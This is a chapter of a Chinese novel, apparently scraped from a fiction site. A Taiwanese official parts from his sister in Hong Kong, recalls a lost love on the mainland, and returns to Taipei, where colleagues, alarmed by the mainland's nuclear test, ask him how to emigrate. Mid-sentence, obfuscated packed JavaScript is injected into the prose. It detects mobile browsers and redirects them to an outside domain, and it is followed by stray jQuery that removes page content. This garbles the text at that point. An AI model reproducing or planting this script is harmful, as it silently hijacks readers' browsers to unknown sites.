“我们去参加春季广交会,在广州,就在起义路那儿;那规模,那盛景,啧啧!你姐夫不是搞服装进出口贸易?他早几年就想去了,虽说来香港都十五年,早就脱离了政界,还是当心败退前的身份啊!今年初你姐夫说都七十岁了,不管了,只要死前能再回一趟大陆,就值了。如今看来,是我们多虑了。” 姐夫听了笑着说:“是多虑了!报纸上说明年初我们就可以喝上从大陆引来的水了,从这点就可以看出,大陆是忘不了我们海外华人的。” “就是就是!他们对我们好热情!阿姐还回了一趟那大院!故地重游,百感交集啊!感觉变化真是好大好大!且不说那城市面貌,单单说那人的精气神,觉得和我们那时完全不一样!虽然大街上人们穿着相对朴素,但可以说人人都有一股劲头,人人脸上都写着希望!长河,你说是不?” “是滴!我和你姐说好了,只要身体吃得消,就每年争取回去一趟。” “那好呀!小弟这要祝贺姐夫生意越做越好!小弟这先干为敬了。” 放下酒杯,我忽然有些黯然神伤。 大姐他们都回过大陆了,可我这身份?什么时候才能踏上归途? 那心爱的芸儿,那紫藤盛开的小城,那些我所熟悉的、经过的城市!我那魂牵梦绕的大陆呦!这海外漂泊的游子,何时才能再走上一走,看上一看? 大姐看出我神色不对,连忙岔开话题,招呼我吃早餐。 两天后我乘船回台,大姐执意要到码头送我。 “之秋,你这身体还好吗?阿姐看你可是有些消瘦啊。” “还好啦,就是阴雨天的时候有些地方会不太舒服。” “该不是战时的老伤吧?快和阿姐说说,是哪儿不舒服?” 看着大姐关切的目光,我自是心头一阵温暖。 “姐,没事的,也许是关节炎吧。” “关节炎也不能小看!其他还有什么?之秋,你和阿姐说实话。” “其他也没什么,就是累的时候,有时会有些胸闷。” “胸闷?这可不能忽视!之秋,你答应阿姐,回去好好做个检查。” “没事的,我体检都没事。” “体检没事?体检有事就晚了!之秋,你一定要答应阿姐,好好查查。” “好的好的,小弟听话就是。” 大姐看着我,再看看那轮船,忽然就流下泪来。 “这么多年了,之秋你怎么还是一个人呢?难道在台湾,你就没遇上一个心仪的?你都五十好几的人啦!” 那一刻,小城一幕又在脑海里浮现。不知怎的,我竟随口说了一句:“浮云一别后,流水十年间。”然后便觉得一阵心塞,久久说不话来。 大姐见状长叹了一口气:“之秋,你还是念念不忘那位呀。” 我深吸了一口气,淡淡的说着:“姐,和您说实话,这么多年了,小弟始终还是忘不了那最后一别啊。从那天梦芸的神情来看,她分明是认出了我,却难和我相认;而我却顾虑着她的家庭,她的孩子,做了逃兵啊!” “所以你至今还耿耿于怀?”大姐苦笑着摇了摇头,颇有些无奈的说:“之秋,你莫怪自己,洪小姐应该是有她的苦衷。不过这事换成阿姐,阿姐也会知趣的走开。” “小弟这是有负于她呀!” “这点阿姐知晓,可人家毕竟有了家庭不是?若她心里有你,她自是希望你也过得好,有自己的家庭和的孩子。像你这样孤身一人,她该不会愿意看到吧?再说你年纪不小了,再往后若有个病痛什么的,身边没有一人怎生是好?要不你来香港,或者去美国?母亲月前来信,还说起此事,她老人家惦记着你,还让你二哥专门为你开了一个账户。阿姐觉得你还是好好考虑为是。” 我听后有些无奈的笑了,大姐这是为我好啊 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15654437|171881||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 “姐,您看小弟这个岁数,很快就退居二线了,还去美国么?或是来港?换了一个地方重新开始,别的不说,生活习惯都不太一样。再说小弟留在台湾,好歹还算留在中国,故土难舍呀。” 大姐听后幽幽的说:“是呀,故土难舍。这香港将来会怎么样,我们谁也不知道,所以你姐夫年初才会有拼了命也要回一趟大陆。阿姐还想着,将来若是有机会,去趟重庆,到父亲坟前上把香,磕个头......” 见大姐说到最后有些哽咽,我眼圈也红了。 “姐,小弟回去后尽快的退下来,这样方便些。将来若真有机会回重庆,姐一定要叫上小弟,我们一起去。” “这个阿姐答应你,但你也得答应阿姐:回去后,有些事该淡化的就淡化,该放下就放下;保重身体之外,别再委屈自己了。若遇到真心对你之人,别再拒人千里之外,看看能否走在一起,不图别的,只盼将来彼此有个照应。” “好吧,小弟答应便是。”我虽应了,心里想着还是一切随缘吧。 茫茫人海,似芸儿那样真心对我之人,又在何处? 待告别了大姐,进到船舱,看着海岸线在水天之间渐渐消失,不由百感交集:大陆哟大陆,何时才能回去?何时才能踏上那朝思暮想的土地? 芸儿呀芸儿,你现在哪里?还在小城吗?一家人过得可好? 就不知这有生之年,能否再见上一面? 若有机会,之秋一定再返小城! 回到台北,休息一日后再回处里上班,就觉得气氛不太一样。 “林副处长,您从香港回来啦?” “林副处长,香港好玩吗?” “林副处长,尊姐一家可好?” 我才到办公室不久,居然有好几位属下前前后后就进来了,然后没话找话的问着;我一看这架势不对呀,今天没有例会,刚回来也没啥要部署啊。 我只好招呼他们喝茶,尝尝香港的零食点心,正欲问个究竟,就听到有人大声说着:“哈哈,之秋老弟!你从香港回来啦?怎么也不早说一声?” 我一看是处长进来,便有些纳闷,他今天提早到啦?而且以往都是让我去他那,他自是极少进下属办公室的。其他人见状便纷纷起身托事离去,最后还把门带上。处长却也不恼,待办公室内再无他人,便主动坐了过来。 我见了急忙沏茶奉上,有些歉意的说着:“真不好意思哈,外出回来该是我先去您那报个到的,只是刚才见您办公室门掩着,这才......” “无妨无妨,你我兄弟之间,何须如此呀?”处长说着说着,忽然压低了声音问道:“那边炸了核子弹,你可知晓?” “属下在香港时已从报上得知,处座您这是上峰有密令要执行?” 处长先是一愣,忙说没有;随后伸出三根手指晃了晃,低声说着:“三颗,只要三颗,那边就可以连续摧毁台北、基隆和高雄!” 我听了却是有些哭笑不得了。这些人,何至于惶恐如斯! “不会吧,那边说的是为人民服务,岛上都是中国人,有那么多平民百姓,那边怎会动用这大杀器对付国人?” 处长听后又是一愣,然后有些尴尬的说:“老弟误会了,愚兄不是那个意思。愚兄是想说,那边有了那个东西后,这美国人会不会投鼠忌器呢?” 随后他再度压低了声音,小心的说着:“行政院开了记者发布会,说核子试验不会影响光复大陆政策,可私下里还是人心惶惶啊!接下来过国防部怕是要想想如何防登陆了,那边不是一直说要解放这里?” 原来有些人怕的是这个呀!若真能解放,岂不更好?可话不能这样说呀,我只好硬着头皮说:“以我国军海空军之实力,应该没那么快吧?” “短期内不会,可时间一长呢?哪天将那个东西装上飞弹,这岛上的美国人怕是避之不及吧?不说这个,不说这个。之秋,愚兄可是听说您府上老夫人和两位令兄全家都在美国?” “这个确有其事。一位家兄早年留学后就留在美国成家立业,大败退后另一位兄长带着家母和家人就移民过去。” “哦?”就见处长眼睛一亮,满脸堆笑说着:“贵府果然是不同一般啊!之秋老弟,凭咱们两这多年的交情,愚兄这有个不情之请:这移民美国,有何手续?有何关节?又有何重要节点,该如何操作为佳?还请老弟不吝赐教啊!若令兄方便,帮忙指点一二,在下全家更是感激不尽啊......” 送走处长后,我自是无语了。 更让我无语的是,这样的面谈在接下来的日子里时有发生,让我不厌其烦;更生去意。我记得从那年冬天起,听说某某全家移民的消息也逐渐多起来,一直持续了好些年。 在我正式退下来之前,不时找机会下去走走。 直到有一天我发现,这去的最多的地方,是南投。